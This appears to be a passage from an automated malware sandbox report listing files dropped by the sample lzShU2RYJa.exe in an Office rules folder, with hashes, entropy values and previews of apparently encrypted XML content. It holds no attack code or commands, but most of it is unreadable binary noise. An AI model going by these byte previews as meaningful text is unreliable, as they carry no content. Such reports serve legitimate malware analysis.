Preview:	<?xml.0.P..i.P.c...N....#8.5.J.cQD\o......v.i.v..`N.j(...R..VQ..+Ki.c....yoq.._}.)...f?s.#9j#.7..}.e...IN.......2...?.;.'+..i.._.+;<.w..P6.n....~......{........e,.....39.....1.c0.CzT1......f...CH.@.F>W....w....M.[5...^...P.I>.5..9 W.)..?3.y.6..#.R...].b...d'...eM...T......./..)+...$..[../1.`...._..U......0.{.$..ZK..B0.iAB-./..-...x-.....l..?ia...._.r#..7.b.oc5...........y.$1..........b.'.v'P._mh$1T..l.cN..h.J.t...I.q..U?....p6..3..T.>..X%<Z.../.m#....i...N..h.Q.T.k.??...F...].@.B..F...Mk.zV`........=......@Z..O..+.......&..$M".P...X..d.f..u..m..:`..Q...k...`.b/!..Tq...AF9.)....W.L9t-t.>...i...H...B.2dZ.&\;..9K..."..c.^..^U...U..U)aitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.8626004649479615
Encrypted:	false
SSDEEP:	24:d2w0bG35SXJvwvnimQQ7VV76XwQGvLnZc0NqA+961XQVzvZbbYfdoy+D/V1/9tUn:d2waG3YXtunyQ777a2LZjqA3XqFYdoZI
MD5:	1898B28C4F96A9A0059F8F3EDA026FA3
SHA1:	B05C6B2259DD55C12381BA9A88A62ED51EFDCC9A
SHA-256:	C352B1ECB7E0323AB3B93D4DE7A09AB4FA9F226597165404C335D257D50367D7
SHA-512:	94289C89DBD59FFD33A6F934733DF5C019FB90E7B010E0C5FED46F0610BC048B0C8F1333A55DEA9E34A66577ADE641A57194CCE748CE49C5DDFC11F9A0A087D6
Malicious:	false
Preview:	<?xmlH...e3T...{-'+...z.f.B[.'h.}z;x.X................s.......k(...?.S...W.....?..o.I..x..@..4.F....h..i.i&.{.=..J..".sb..3s...CSdP.].Wl.u...cJ..e......9.h..p....%..>.z.$3.....+..._q...`..q...l....+..55...^..7f..\|\\|./...;Wp............Lv.)..xE8.\1.....Z..Q......\..kU.Y..4`<[..<.w..>../,.R...>hR.~UA.....2%....x....^3...n...]P.N..n.Yz...'.n..g.C...Uq.l5=E.....v.6.....kpN:@..\I..6'.Q].].......v.a..P]....'~..v.$.7..... . XDg.n..u.W.S.u.Z.?.=....t?^0.....%._....&O/..-.+ {I..KE..O.F<.+.Q.IaY...96`....c.uu[kj}...T.......h.......@$/.C4g.Rx....;<.<".E.b(...~xF..N>.#.\|)`H..D.._!.N,.....%..t>=.".......4..$..1......b..M.....i.c..e%.\|Md......:. ...\.cS..m..c.D.cIM..A.R...}...Y[.\|.q.cs-..?.:..F4e.....Z..BI..3.....5=..&x..K.7..)....n^[.4.........".T.x>......t..0.=K.K/.[._...W..h.!&...k.e...{u........S[0...u..._...<B.......@.../......+.....u.H...8..!.)....F.....[&..\..[.....)?.-[Z....L.=..y\.../\|......k..6l~@.....%C.}x......u^...5,....".G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.940397648015317
Encrypted:	false
SSDEEP:	96:/cg3kmaCCqv7Pilnx0Z62FjrDKhri+dEJmaNaxozqEbGjLiDRJu9:/cg3kmaGPg0Z62Fjr2rrasEKEqESmd8
MD5:	DF8E787625194AF15BE302E32D780142
SHA1:	F6667D88906EF1FCC8FF5B8D02A6F2AC371E5F1B
SHA-256:	2533EEED7B73E9E1AF99E46C71CD05590FFE364B6016E8E38ACAC1CDBC0AB0FB
SHA-512:	C61EB42DACF61E74E33DD2F9B04220C8C94D3E37E9486C13D3676B3D3A1A78FFE11465AE1A67B43BF92E57E9C90963CBF0F54D7E4BD860C62CABC2638FA283AB
Malicious:	false
Preview:	<?xml~.# .Qdp.DB..x.....&b...zi.{........S..h#....i..\|@MP\|R:N#..u.u..k..-.^..g.]._...]hU.a.T5`..S.\1`.!...D......`..w.g....rx.E.h^..G6.af@........DA.k....cI...F...o..[1B...d,..1...A\.- .&......T..&.gY...&....+Sc}....h..?]@..6....34....$...h.\....o.,{..6q......!A?.D...mZ.....R....v.q....H.3.....Mkt....-...[b....q.v....yb.`.9....3...(TD...`.?.t._..D"......~.....m.9....2...~.....AX=.DzV.c..35Q4.P(.Mb.....I..0.........`....[...K...PK.+.....u.\..._S.....^.'.Y.v2....Aj.J2'.=...J...Mp.^Y..M].M.`S..='.y...>r].\g........>.@.....5.....t..J.....d..7....:.../R>yFW.>...[!./.W.....;.....xE.{....\EC?..LM.8.Mj....E.`.tm....uz.y.{=.o.??..F..~./...O.......~..&.M.k...Uc.I..b./..r.G.M...,1.F9.V.]....vH6^.;....t.`...w.c*..g.1.8......o{1.z,..`.....u..."..(...%Y...\qg.P.G.....}ZUL...-I..j.e+.....HeV..h..A.. .Z...v/..\H.a....27.y..P.un_../.!.....}.dy..c..D.1....i.F..xi8.#...........j........t...q.O...[?5...Z........X....).sP,:..6..VW%......O......q.h.5.... .....R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.793438342224637
Encrypted:	false
SSDEEP:	24:o0oisBrGCfRrWL1cIghiWdziGPuqDru5H4cv46JQVbD:o0RscC5CLeSGWYqh7w6mFD
MD5:	84123AFD97962BBA686A23F08E529063
SHA1:	28511A3D2A5AEF76D3112FDEFDA49808F3486787
SHA-256:	FA17E568EC526A2455B4DF272C1AC767789B06796F884DAEF2B4F8358A92A091
SHA-512:	360EFB950E7CF513BB7BF44B93F8C155DBD8589CAD96E54587C5E1810F1D9C23AB4DBB91CF3846F42FFC5209CDBE4116D2EF8FA75BA85D7C9AC5D1CF9A515F7C
Malicious:	false
Preview:	<?xml;....m..".1..k!:.p2.iYZ\|#.v)e..o.j.I...F...@z...?g....a1...e..o.R..........;..6.7?..%#.Evc.E.d.........._-...nr.%3.:....n.I(b.W..B.............J.....\|..\|c[.#d.C.;?].l\|k......\.....`...fm?.....j...B[..^].....B\|6LFWv.1. .....FH.Z..X...`.....}....p...5.yG...' .!T.n.HC.e.Q........5..C5....2..0......f}.[dn$.....B(..c.$]tE#<O^A..Q$W?.L.~..].E.u.e...lh.q.1.u..c...@'...c(...Q.o.^JA5N.`.T4I.sho?}b%@a\.3^...^L....M3..%..I....+.B..H!..4.Z.n@...h,.Q.8.~..+P.".W...........U.x1aCj+........PI...,e.T[C8M........s_.....Y.T./.....N....TH.4..rH...l..V...0...z$bv....a<GR.U........gX...\..hz..e.F...;[_d( ....t.i...q....h*....}.ME.!.P..F......t....[=.G\|r.0iL..... $.0.2<...r2H`1N.........P..e.$hyC.n..K5.....PR...b.M.9....%....Jw<......v.+x....4...`.'..e.:..._0..k,Y..+^.H.......(^7^..\...... ..,.....O.uwP.Y.^.`.g..<.Mm....c.PJ.u..KC......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.933375786504582
Encrypted:	false
SSDEEP:	48:BWYGLlYKecsCUn78rqHmfEuzLVtOgB+opib2T/NxhpmRn5Snwm7sBmBCWTrYL9FD:B8YxdC4+qHmfEuXVAgkUc0lDp+5SnF4D
MD5:	DB7857E00F3EAA01F59EBE51E3823583
SHA1:	0A7627BDA6670B0A9BCEAC7622F1513518E07B02
SHA-256:	B50EAC895712C2C1A2F0BA3732808D4DAC8DC72D8BBA32DBA8C7E93236907C7E
SHA-512:	5A63A60175E9B01D8577BAF58589E791CE44BE5A5BDCC44891B78283782B1E8D8E0A077F57C529B301D0DCA2A6A32D74EF48BAA05FB115F6A4B9B1AAF269095D
Malicious:	false
Preview:	<?xml....E......6.3..p..73.....9..g ...i..~@.H.....i.{.y..ZC2..7.......7......R.h.2...........g..T1..N...5..B.>].../.p.f%.}YH..._..1c+........i.5..L.m@...)..2.t>..N-......lo.+..b.h...c..v%. ....r....^...H1..}...)...z.%o...K.....!...h.Yc..`.!.Um7jLR....m1.;..F..Y{B%....<I..q.X~t....v.....\|. .....#O%~aI..z...'.71.cX..O,.@..S1.U.....P..w.F.N.`.......9.I...Uw......,../.s~.K.>.:(e.<G..~...j.......Z.H.....S.C....g..u....w.?s....k..Y...e..l%.....r.g......i..?=td..t.../..J.D...k.......Q.....+.&.Ab..XHc.i....@.%.=.i.R{4..e..0...A. .VM...i^....qC~.6!..%.r...J}B...!;9..^.<.}7....g...J..q....+...+t.k.D....H.M.y.u....a..Hm..'//W18...c1.c]R.cau1I.._...;&../...N...~...O..hMd....&.L8..6=..L\|.....=....L....a.1.9......zks0T........q!.p..:...............GP......s^..l..9)%....l..Y.^.[..N......@.x.-.F.1c.....%..4....41..Z[@.0<1e H..U5.......B..C.#.QF_.q..n8..'.._.#i..J...py.(H..R..A.3sq.g.7!Y;'...M.c...s...p...`.V..C..AeE...DE...Gd......?H....)..5 ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.924429084349969
Encrypted:	false
SSDEEP:	48:VxX61ZbvFuVcQi+WFjNf6Nl7qeI677Kme6R0P+m7SPFD:zoZbNuVcQi+WFjgNx7b7KmePHg9
MD5:	E266D050CFE4FFB63259B1D34E02FEA8
SHA1:	EA468F1CFB03F3B194C4103972B9FC9B11C39CD2
SHA-256:	9DEA170AFCD7CA29E61CF2569ECA3B5A138ECB1A5206D4D47C946493D6419FD7
SHA-512:	E01C7595A0FFF141C81691C4A60C2DE463E30DA8280F523714AC5B837F78A2442A28CAA864C35A4DF68183A0FDD591BA076B46FFEC0A30889A775DAB59070D2A
Malicious:	false
Preview:	<?xml..V..0..\|.X.8h9.,...+..e......{E...v.t.b....@.;..o... ...?Ftt......=...u.. .[.{4O..E.H. .%..&i6.9....A.a.e.UP.An...?...A..1.}...H..%.~@.........\|.&...D.........R!.EU....._.S..Q....."...^..OX/..ic.1.-jD...7..7t..E...c...R...B5.]..>@L....m.~...T\..O#............2v.../....jQ....f.Nx.;...9...l..i..t.i.H5U?.mI...C7n....W. ......1fe.L/.`_.D..`i...}..&......'.....r....<..jS.Q.......1...mg..v....\|np/C.......3F.........L..QW..'.../..}rLr....Y.W..".m..=Z......s....Ww.#.z..^...G~...G.Q..7-_.bq.F.j.;\.-&.\|...^..c....tH...a.A."`.((&..Zez!...%4..b...`s-.Hl{\.{.)....&.n..+R....O.C.[.t.....Eu".W=qhw......./...f>YrS.\|R.0....;{]=A.r@.. ..%0K.J...Gx$...C.k1..:.-3W.0Z.e...@.x..X.d[..+.W"...).<2T.VW..~.1..U<..5......P..l....r.(.)^H...._KI.P.h:T@QJf.M....2.b.x....u...-E.8.~.:.....ZZa.<k...G.2n%c.i......(.........$....8.$S..HW....L.,...u..Y............"..+.....o ..d.A....a...<...v>...x.".....gZ~fl...Z..8.8a.*...>~X............M..O.n..K.=..D../....EV\|Y...p.c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.933042659437662
Encrypted:	false
SSDEEP:	48:bgRMFLYRJuhWH0o5qPZghNfIgEHyHUaRj6pTnRsiRySCk6eIsJFD:bgaFEHuh0G6N9EHuUa0pTmihgO9
MD5:	50CD12FC801FCD4EA9446BDAFF0258E1
SHA1:	BC85D7CFB5A32AB9FADFF45B68F7D4F9FAC7D889
SHA-256:	2CB37AB35D645A64E33CBBC50B3ECDBAF4A85BCB666811AA245AF9AC89B365BF
SHA-512:	8B357FC0BAC9FD7C0AE1AE0D7CFE493882AEE4770031103792C904760B140FA1114BB70D19566F5F3594250DC8055D33459BBCF2D861BAD8D576B1317FE72875
Malicious:	false
Preview:	<?xml.8y.9...-..'...@V./U..E.g`t;.Wj...YoxYgR_.f..^.....]B..T%.M..^.....n,.\.<.Vs......6.MY.m.....:$.....c...E..E?....R....3..bP....s......+..f....^.+5.pl....$[Q....^.&.4[.V.m......Uvv.do..V.mZ....F.....0.{O..?q:..\|.......L./u.o......!...4..'Ef...+.~......@..e3........=D.x -O1.vM.,..n.M.......,M.m9l!wF_hb'd..S.$F..9..L..o@.r0.&....'g.:H;......,~]s....l...4..]F(..Q.D..PQ....Mr..6......0XX.........d.:{..w..........W..$....J..02..>...!o..QoT.3pA.c......V ....`.#..{...I......@[.3.7A..RF...J.W+!..@. `..........1..Dp.z.N......nW.nr..d.k..:G.o.!...IGz.hO...O.....u..g...a.....E.Q.S4.....vu.a..FS-....N.]Wml.+nv..;.{q.<c....5>.`...wA...g1....X...CX.".+..A.P...u.[q.o..G}J._.....&.l.Q......lB...9.5z.0.t...F&..Q..,.(; %.,Aqz9.k...t8X...(0^..A....2.TB..:....P\..\|.-......I...O....=..*...........i.)}.V...D.0.5o..KTw.g..S.R$....k"..A1gk.N..\|.F.[..U.j......CO.E..Bs...3.e^.d....\|./@Fhk....1.sbl..<..._x..j.n.l....".!..,.<..@.....1.ac....r.{.]'I.(..}g[k...z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.955678330675256
Encrypted:	false
SSDEEP:	96:v0pHq7eKaycHv9XjBPbpNfnvGEMBZhhRmm+08VNOE4WN1UjDnolnF29:v0geKaDvRhbmzhC4WzUXojW
MD5:	0C6F82D0EB084DCB312B362101221238
SHA1:	BBEFDF5C3FB5E53F5CC7B6C5A91A2FFF178BC21B
SHA-256:	8A48954432AF10230E210DDB1A8E6E407A2041E91809B02AFE8E5A2F87A06E77
SHA-512:	0D44876A037A131A64C2E09580802E205B21F2DC714187F08104E458E5C5DC8AB03E2E67321AF10A091A3D0D4FAF1B4D45E10F1E16C073419E8C9DD298F7C68E
Malicious:	false
Preview:	<?xml..e..7..d.e.v.w.......L..{}..."......e#I..~K...B.p.....L.&:5x....1.+....7.Y.cJu.....LK.......t..h;.2i.$.\W..B..e{>... .....\|.1..w......d@j.....&.$.G...{@6...i.:K'...).T....S`..'{....,$z...C_...CR}...........Y.G../...=.0.<QLY7.\."...z.k\.0...k..!.U.C..U5..7.....th.<...;\|s......,....7..[..Bo.1e.....z...i.....^.;. ............&2..E..{...e...++!9.)R.o.m...t......$.cU.T./`^X..34..r..M...+>v....v&%.r.....n..!.I..j....bF.."....M....Y. E........'i...~.....cU@;..`.....MO...{..`H..Gz.^..N.=b!f.O@7....i..y..w#...5R..{]R.....r.p94.C..X.(......</..y#.Q..<'.).E;Ro..]U\|..O..S%1...O..2>.)....<.%1V.>.X.Z.......$........\|Y......3.!.......D.bT........&]..l...D..n.....g)...T.f....R.......1.4..5".CA..@ane./.q...>T...C#.jy.o.z..KP..c.t.N.7.[/.......(..;...Qo....T;'..7....4.df...n..D\|t....VEt!......;..:.4..d.......92..&.m`.G8.J!...J >.zI.85.4.....xm.+...=.f..../7.y...^!..X..o.yl..[....'m.....R.=y)~.......l. .2.....N8.r....^f...'.n..b...U.bP5.u.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.975587159521883
Encrypted:	false
SSDEEP:	192:KPs7tkCk4j1ZyZ18ouzplubB7kfMD5JYUckSdC0yu:KPibjHy3wy7WerckSx
MD5:	B88878FEDBC2B67AAC82B58F617A76EA
SHA1:	133FDD3C3878E43751A2792463A0EC3BCE42DB26
SHA-256:	0ABB0CB9B9946D37E5AA59E017A29415C8F83D8133EFC6430B0C6C57BC30A81E
SHA-512:	86ACC2B79E9B43A77F9C2F0EFE88D5A509FF88D412AEFAA08938D2C6CE1C876A6C32C40744521B75465BF45FAE4867145D2BB8516F5DCB88C9E93B0B8BCC7DFD
Malicious:	false
Preview:	<?xml..,}..P...-.)`.-.M&.'.k...."..2..6.....f...A.D0..{`g.Zb....T....<hD..._..$Q..(.w.T.B.j.v.=.}r<.......>./.....M.wO).qH.......@\|..j..61..<...R#8#...m.....B.............E...h.ZD...y.S>........`.WV.Tg...C^....~...n[..]..........r6...].[/.....d.l..1.........H.p\.....V..,../.C7s...NKNH..F......jL).."...$..;H....(,.....r.BF0.)...........f[............6.............o...l. .A...50...zN..5.q......gw.e..%...J./..~x......Yg.pdW.J.".......3&5.M>..KK.....U..."(.8.\|...g.U.(...\.7...&...h.R.^`.5.I...NH$.P....UA=9FKl.R.u.#P..?..:...(.H.....uw..u.(K.....F.E......[...9t..e..y...J.O9..U.P..$...Y......'ugk.....g}z...[<0u{.......3)....M..[R.+O. @.B.3..wJ....`....}...eh...t\p.:P...m...]..vMl.}...`....o>.A..o2.U.".....x.a.......w.....?.x`........2...=P./...L..`.5.D.....16u....._....F...u.....&...M.........^...j=.... .VOnZ..B.55{.Sr.e%.'YJ_#.h:0`TZl..jj../.(0)....d. .......td...*...vT.X....-S.K.r..$95.,KK..........Q.T....S~J....(s~....8x.k.d:0G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.974065979360359
Encrypted:	false
SSDEEP:	192:BPz90IFmpS58dq+VUsoPkrHAwrNpraVEy9uiMm:PTwUmFosrFT8si1
MD5:	A3633E7BB96675127B3E6D8BEFFFF52D
SHA1:	FD060979997D47B738AF8C47E70175FCB52F57E3
SHA-256:	58D71AE11EEB4F6CAB1496D5D97EA52E67EE0DE8BC3E492337A5FDE5056F18C1
SHA-512:	2FD353A10BA3EF0F03132F5FA695E49DD4BEB371C64E50359CD3184F9774405D2BA7119667B88E7A65C830A35F6C1F2885FB27AFA43B496B52D0E55BE83C62E9
Malicious:	false
Preview:	<?xml.E...........k...U..=.\.r...]g..q.w!.(S.\.x..k.!..:.~..,\.RCOo.].`..f.`....3=+.c..E..?.V.................zSN...E9E......&t....3B;.Dz8.T.06.3`....?...,...dd.r2.l.....S.Z\|..y..`.M.,=J..S.....y..SH ,....g..LO".~.......N^#^b..-j..Uc..6U-.Z.]w.&.....].b.}..+(..yl.C........j_b.@..Va%.f.....x..T..........m..zk..[t]8..@L.<..o......m1...u....&..~..."M..y...1.`..X<..v.C..:.U....@..I,..c.::33..^'v.~...r1...fH.W.,^...\|...6..q..I....5kr2....x...VHg\.>.....b..B.x..pT.....E.jM...eA+.%7.$.l..1d....a%..i..k....k...1s....9....j...)T..t.....u.O..sH.........J.A.q^ts^...f.&5<.TT...S.[..Iq/8$...M.A..\|^....2.%..g.Q.g.27........P...2....6.]4[}.B.*...l.u...... nK...G.o.F.b.2.....E...SH.(.6...a..X.}..J.....,..B.H..............@.......}].9.V?.[...O....c~s..4.\|.....+..._..z~..(P....F...N7...~...........\U...O..1.V=.I.7{..l......k%z.+u`VU../_\f\|X6IWaMq.2."...W......l.'u....C<}.j.......Z.K..\. .>e.i..]...\|..y.........o}.......)...z.+....N.%..}..RaE..%.....{...Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.869390837932626
Encrypted:	false
SSDEEP:	48:wwg4jgvEyiigEHfLfvrqsCaan4HKAZ0xmJHIVdFD:9g4jB+jCj4HKA+xmJU9
MD5:	2B66B005CFE74AA3DF15449CF8796F68
SHA1:	640EF59F8A9946F5965DB042C4AE7E4D6114EAE8
SHA-256:	5CB95A4798C0C44F7DF61D50404F705BF0AAD71487B2970555958BF98378EA12
SHA-512:	062B8D53958FD46294C93912410D5AFB82241CE29FE2F9A573DEEEE927514BD76C2232B8A1EE1615A551F36280A9ABAA38A2DD42FA517F941B1D01B657A5D69A
Malicious:	false
Preview:	<?xml....E....o.=....q,f9.uY.H>Z..hqr.RC`...~.bm7'z...)K.s`Hg..U.:.c"....#T.Q?e.+>oZ;...E......<....^..[.Y.H..+..z..o.{.....w~0.@.E..}\|.Y....}C.y(.z...M..+@..<a....K.'.aX...y2..YY......`...>...~a..../3....o.F.6.+.I.....@......5.".{.1.2.oa-..W........)......._-.fu.#)...K..Am$a.......UN. ..(m..T8.2.)Z..R........L........G...Q.%..'Q..:..zk..@.\..8L/tc.S..nwjt...L.c..J...%. .e{....6....V.~.F.E..\.u.......%.ZRQ..]...(.h.?...=......5.(.w.u...^...........[..AE.....$ .lV.Xs.....P....H..L/.......\|fX..S..G/.f;.v.+Lbzr.,A'.x..{.k.b.).a{IJ.(<....+V.%.Y...[........q^65@......Fa..X...GY...\(..........o.>i...Is.C..'....^.8K.2..\.8...4...%.....=m..G.x...y.._..Uj..n.9..t7x>.X..$.......]..k....wJf.NY..V....M......i]......u.G\|.R....[MC..{......l..>).%..saq.+....=...cFlK.e.<_^..X6'...H.&.i. W.Jpz`.......E..m...v(i.)Xn.(.V...)..@b.....?...T....D....^..T%.......w../q..y.Cw...G...0....}fqP,:~..%/...[.gP......C<.8\|..@.r.E.Y.!..2{P....E.(.....X7.H.'xgB.t.$.mg.'-.B).).5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.901832764525525
Encrypted:	false
SSDEEP:	48:mlLNFMjarXq1Phwl1BDBYUTaDc/4ETSFBi/mjYXFD:mlRFMjaTQaT/4+io+EX9
MD5:	EC10141C3D93B493E5B5E884D96FED16
SHA1:	A58B2DF42B398B2EA2BD244D656B9B0D90E17E3F
SHA-256:	7AA750667AAA01D6C662120B466B2A0C826A97464E2502F8A792CDA1A986479B
SHA-512:	23E9EFE6C2A3BDBAC3634A0189980A82C1427DEE5486B7E0D78F75B90421526202F7833699047A848117E296B54A0EE738DC53D313E4EBD855F833A45DAC6F51
Malicious:	false
Preview:	<?xml...u.P.p.>.O.cV..1..?F=....4..9....s!.............R.^.]...Hp.).......H1 ...F......X......ngU...YR?4...wl.1...7.....dvDb^#8....i..z.....E...3.......A>..G.J......Q]..#..M~Nu~.?.\|..R..Ru......=~..B.t.....R..,&..cl<h5.1;.nms..n...S..{..I..)..=.@.Nl...(.3.....W.~...........L.....UCj.x.....k....k.n.....[h....B..>.d).V..05FP'CE....w...@k.<.V>D..HSg.I.Q......2@.~mF....1..K.........L.[K..[.:.]....y......CP%~.92...i..2.vTa..@yQ.\.0...z.....Y.z1.FDX.`T..Jq...=.....&.....q.2..p<+.+&Bp.[;(Ac.......D...s.....w..r...#...PJD.L........N..&.....j..t..{v.....$T.0..........Y.T.\t..E(.....Mp...@..._..I.}....j...../..L...D....M.Ou7....D...\..L..(x%........S..YF....2...,n...}.eYH.M.\|\|....o~..J.c.O.......sc..../r.$e....../.....4N@.w.S....(...8.^.\?.3.N...c..%Z.....KT...;i...%.n4'.....c....... N..p..^.k5.0.2.K.....L.L....x.H...4I.....*.Q..?.V..s..A.2p.2.:.........E.s.~4+.-..:../. ..qc.Q.!.P%..%.q..:.....Z..b'_..7.F....+.t....X.....21.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.894061072273561
Encrypted:	false
SSDEEP:	48:PRcovsyxe2XrcvbcEs8r0dUXvhWvByLayaYnzIFQcFD:PRh5e6rcvbcEs1di+ByeyaNj9
MD5:	548B28F0DC281608342D4849B4A31F4D
SHA1:	835E44E68673C87E4D00949B6D2065BE5E230AE0
SHA-256:	ED9D0EFD172598D531ECB6557D0B14860CED137DC0394A61A5EDC21F71A94902
SHA-512:	B50F154C409E0DBAF79F4C8E6B74FEAAC5F6826F1B87F8A8CF6A6F64A272D2D120B7D3B2F8315C17F8A966984A3AE5CACDE925B9DEC4CBC57E723C15A6C84890
Malicious:	false
Preview:	<?xml..R Q%1~-...I.............uin .=.U$....+@.NO.\|..k.{.:`...q...l=..&.C....h$;.H?..R./W.%......g?.$<.I......-..L...e..q.U..... .( ........8F(...........3q'a......k....Dz....[........\R.]..Q.c...x.<..E.X.p........=J.T.L..[......1+.{Q..O./f1..J...2D<].#.S)y9J4..D..=..f...9..?".Ox.0.wK.....e.!........PW"B.C..".,..s.n,.....q%_.C.H..n..5..$....%.!...0l^~..;I.C..... .b=..O.b..gp..ego...f...`JS4i]...[......!.B....gS.<K.... .^..x.._._...PW..\|.9...E-.p.7;...W%.P..\|..@..w.M...+.$iw.G../......x.I%..cF.I\.n.<.2......e..Z=;.....r..t.y._..QZ....o............yf.....t..X0&2^...f.W<.8......uX..-=.......1...\|:.....l..<oh...1...LGC...}Z....Cq.x....h^8....&!......{....k.....%]...]5...\.n..#Zf.n.?...y..TU...S3.y.D.h..g..}....x`..Z..0..1B.j..F..Q...]}H.AJ.fY.]..q........y.9....R.f..w....H.Z ...^\....-..O.r.....g."*}F..G../I%@.l..$+.b.-.T.X.=....U..Q....n1-....u.&....XJ.......M.....I.:Y.....a....v.....2+....2x.X...%B....C.....g.q8....^......9.....T.%....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.864961377002679
Encrypted:	false
SSDEEP:	24:gCV9eM6vN86sZBnIdvWpuY7KTnJVqO/R/XzRnsTsbABP4/Ohz3xrkiVbD:j6sZBIdOpu8KL/RBNsAb+P6GkiFD
MD5:	FBD12FE334E5DCEC2F8545396FE7166C
SHA1:	37798401547FAFEBB30ECAFF5CFB287512E2626E
SHA-256:	A60D6A670A328AA824AF7A97EE40710EF9225925D5EFDA53820E229025B862A3
SHA-512:	1A0D32A147257697E25BB48F51FE638460F5E52DE62E66A46F342E2A26AC66AB1B0D44A05309CC282423277468B9D479FA727595444B97FFDCF7367FE389518C
Malicious:	false
Preview:	<?xml.5TXl2A..}....1.....bU.F..\|.H......3O..h.,....:.6v.RY{.F'... _..,.....cC.H..Gj?qx.C...z?P7..(.//..^hcz.q.......E.m.?..^,...Ib..]....SHM......G.+..~.)..`..0..2Y....4l.y:..[3.ber.....r....w(H.dEEHp...n.u....mG....q....Un../g.....=\...DZ..3X......3V}D..:4.....H.\|eV.`..Y.\|.<..o.@.._F..&.J...t -S.....k.^.K.R._.....B>".y.i.#Y....32...n.0.HE#:+..K..H.W]..6B...Md.R.O.l.u .I.uJmj...7.d...z/4.uz5..a[N%....7R....B......n....4.o8....q.J.}.O...@.Q.}y..H2.Qt......G..?......,C...kb\.6......ED.d....B.TNsw....B...[..I~.....t~.4.7......b.k...k.x..._S..S......T.dC.c....].-L..;.o.DY.x.Z.:.7.)..1..gkb.....FX...E..N...#..m.]0.D.S.tQ...M.Q.t.......N{S...7..z..W.S...K.?....y.s_>..t......o....Y..k+...tp...N...e...A.....$.K!.\1.^G,9.\..........O...i.\|.j\|.l...\|~hN...?....t._.jW.....0...SJ....L.7.....f[.......K......Z....=.......x..gK..rLq..K_.. +.R<.8._...y.. ...a...%.. ..yf....\|..1,$..y.../.+Dy..;...M..r.c.1...U..~........L..k..%PI.......3..o...%......Xb.w..W.Q.%.*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.877472895669401
Encrypted:	false
SSDEEP:	24:lAiaUTDwQB5UFECyBuE/Tay1bUBG+O9N7tO15DC5Mk+ifLsF9tqVbD:l0wDw0UekE/TbUBGp9fOyWk+jgFD
MD5:	A239F98FDF0B944669C2FD5AEBD92D3A
SHA1:	AA1174F4FC64BA1DB9B09D4FF8F6DFE1E24712A7
SHA-256:	C245E0D5698DB9ED56D8ABA2F8B2B7FD6B7C9B6B965F5E19D49EBCBBAAA92BA9
SHA-512:	50B0A5B744E73B2E0D99995C2110944DD0AFADCE0B999306EB483836F5825C687DBAC54B6503C565314A2F345F127E4604A07BE853C158B66602C8A03462D66D
Malicious:	false
